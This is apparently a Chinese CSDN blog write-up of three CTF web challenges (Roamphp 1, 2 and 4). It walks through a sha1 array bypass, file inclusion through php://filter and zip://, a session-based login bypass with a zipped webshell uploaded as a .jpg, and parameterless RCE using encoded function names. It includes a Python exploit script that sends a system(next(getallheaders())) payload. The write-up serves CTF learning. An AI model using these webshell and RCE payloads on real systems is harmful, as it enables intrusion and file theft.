[极客大挑战 2020]Roamphp 1、2、4

知识点:数组绕过加密,zip伪协议,无参rce

Roamphp1-Welcome

 <?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
    
    if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
        show_source(__FILE__);
    }
    else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
        phpinfo();  // collect information from phpinfo!
    }
} 

sha1无法处理数组,会返回null,所以全等
在这里插入图片描述

Roamphp2-Myblog

观察每个页面,会发现都有个page参数,那么这个参数会不会有文件包含漏洞呢?
在这里插入图片描述

在这里插入图片描述
试试

php://filter/read=convert.base64-encode/resource=login

确实有。
在这里插入图片描述
login

<?php
require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>

secret.php

<?php
$secret_seed = mt_rand();
?>

看了半天也没发现有什么洞,再回到login页面。
登录的时候,会显示page=admin/user,admin/user虽然看着不像文件名,但它确实是。
在这里插入图片描述
在这里插入图片描述

两段代码:

第一段:username为Longlone,password为前两个mt_rand()产生的数,这边有个知识点要说一下如果我们删去了cookie中的PHPSESSID,那么传进去密码将不再是longlone的密码,没有cookie就找不到是哪个用户,那么服务端存的$_SESSION[‘password’])也就为空了,那我们只需要也传一个空密码按道理就可以绕过了。

简单点来说就是这边的password是随着cookie传进去的,如果cookie中为空,那么我们也传一个空密码,再后台判断中也就相同了。$_POST['password'] == $_SESSION['password']
在这里插入图片描述

<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
	if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself
		$logined = true;
		$_SESSION['status'] = $logined;
	}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
    echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
	die();
}
?>

在这里插入图片描述
第二段
这边可以利用文件上传和文件包含伪协议来做。
先上传一个文件,此文件构成为,包含一句马的php文件—》zip压缩----》后缀变为.jpg

然后我们就可以用zip伪协议来包含它执行shell,因为zip协议是可以解压缩jpg后缀的压缩包的。

<?php
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
	$tmp_file = $_FILES['Files']['name'];
	$tmp_path = $_FILES['Files']['tmp_name'];
	if(($extension = pathinfo($tmp_file)['extension']) != ""){//判断extension,也就是文件后缀名是否为空
		$allows = array('gif','jpeg','jpg','png');//白名单
		if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
				$upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
				move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);//移动文件并改文件名
				echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
		} else {
			echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
		}
	}
}
?>

提交图片
在这里插入图片描述
访问图片地址

在这里插入图片描述
当图片存在时就可以执行shell了
在这里插入图片描述

zip:// + zip路径 + %23 + php文件名 (由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23)
http://82165fb2-5d53-4a86-a386-04058d68f23c.node4.buuoj.cn:81/?page=zip://./assets/img/upload/901edcb2cb7e73704f556f4c50d8b1ee3e7f428d.jpg%231
这里不加.php后缀是因为在index.php包含的时候默认加上了,还要注意zip协议后面跟的是./因为没有去看绝对路径。

来自:https://blog.csdn.net/m0_56059226/article/details/119758074
?page=zip://./assets/img/upload/e95d9c73dbe3c6cebcba4255d689f93ab14a5a5f.jpg%231

cmd=system("cat /flllaggggggggg_isssssssssss_heeeeeeeeeere");

在这里插入图片描述
拿flag
在这里插入图片描述

Roamphp4-Rceme

虽然过滤了很多,但是我们可以用无参rce,无参rce执行的原理是通过函数来返回一个字符串或数组,再配合我们上传的参数或者请求头来构造shell,最后可以执行shell。

例如:
getallheaders()会把请求头以数组的形式来返回,反过来想如果我们再请求头中加一个tac /*,getallheaders()把tac /*返回来,最后只要system(getallheaders())就可以拿到所有文件内容了。

<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
        $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
        //获得验证数字
}

if(isset($_POST['cmd']) and isset($_POST['code'])){

        if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
                //post传的code经过md5加密前五个字符,要等于session的code
                die('<script>alert(\'Captcha error~\');history.back()</script>');
        }
        $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
        $code = $_POST['cmd'];
        if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
                //修正符:x 将模式中的空白忽略; 
                die('<script>alert(\'Longlone not like you~\');history.back()</script>');
        }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
                @eval($code);
                die();
        }

phpinfo(): [~%8F%97%8F%96%91%99%90][~%CF]();
加这个[~%CF]只是因为php7的解析方式,当然换成其他的也可以例如[~%EF]
在这里插入图片描述
例如:下面三个作用相同

('phpinfo')()
['phpinfo'][0]()
['phpinfo']{0}()

exp:

import hashlib
import re
import requests
import sys


url = 'http://01bca480-d4fd-4597-a13a-a9829e724683.node4.buuoj.cn:81/'

session = requests.session()
# 1 md5 解码
r = session.get(
    url=url,
)
md5_value = re.findall(r'if:substr\(md5\(\$code\),0,5\)==(.+?)"', r.text)[0]
code = ''


def md5(s):
    return hashlib.md5(s.encode()).hexdigest()


def demd5(code):#爆破md5
    for i in range(1, 9999999):
        if md5(str(i)).startswith(code):
            print('[*]code:', i)
            code = i
            break
    return code

code = demd5(md5_value)

# 2 发送payload
cmd = '[~%89%9E%8D%A0%9B%8A%92%8F][~%CF]([~%91%9A%87%8B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]()));'
raw_data = f'code={code}&cmd={cmd}'
r = session.post(
    url=url,
    data=raw_data,
    allow_redirects=False,
    headers={
        'Content-Type': 'application/x-www-form-urlencoded',
        'User-Agent': 'tac /*', # 执行的代码
    }
)
print('[*]', r.text)

# phpinfo(): [~%8F%97%8F%96%91%99%90][~%CF]();

#查看shell在第几个:
# var_dump(getallheaders()): [~%89%9E%8D%A0%9B%8A%92%8F][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]());

#返回shell
# var_dump(next(getallheaders())): [~%89%9E%8D%A0%9B%8A%92%8F][~%CF]([~%91%9A%87%8B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]()));

#执行shell
# system(next(getallheaders())): [~%8C%86%8C%8B%9A%92][~%CF]([~%91%9A%87%8B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]()));

参考:

wp:
https://blog.csdn.net/m0_56059226/article/details/119758074
https://blog.codesec.work/d6b7888bcefc/#0-%E5%89%8D%E8%A8%80

知识点:
php之$_SESSION的理解:https://blog.csdn.net/zhengxijia2012/article/details/73437376
preg_match修饰符:https://blog.csdn.net/qq_36340642/article/details/79352876
无字母数字webshell之提高篇:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值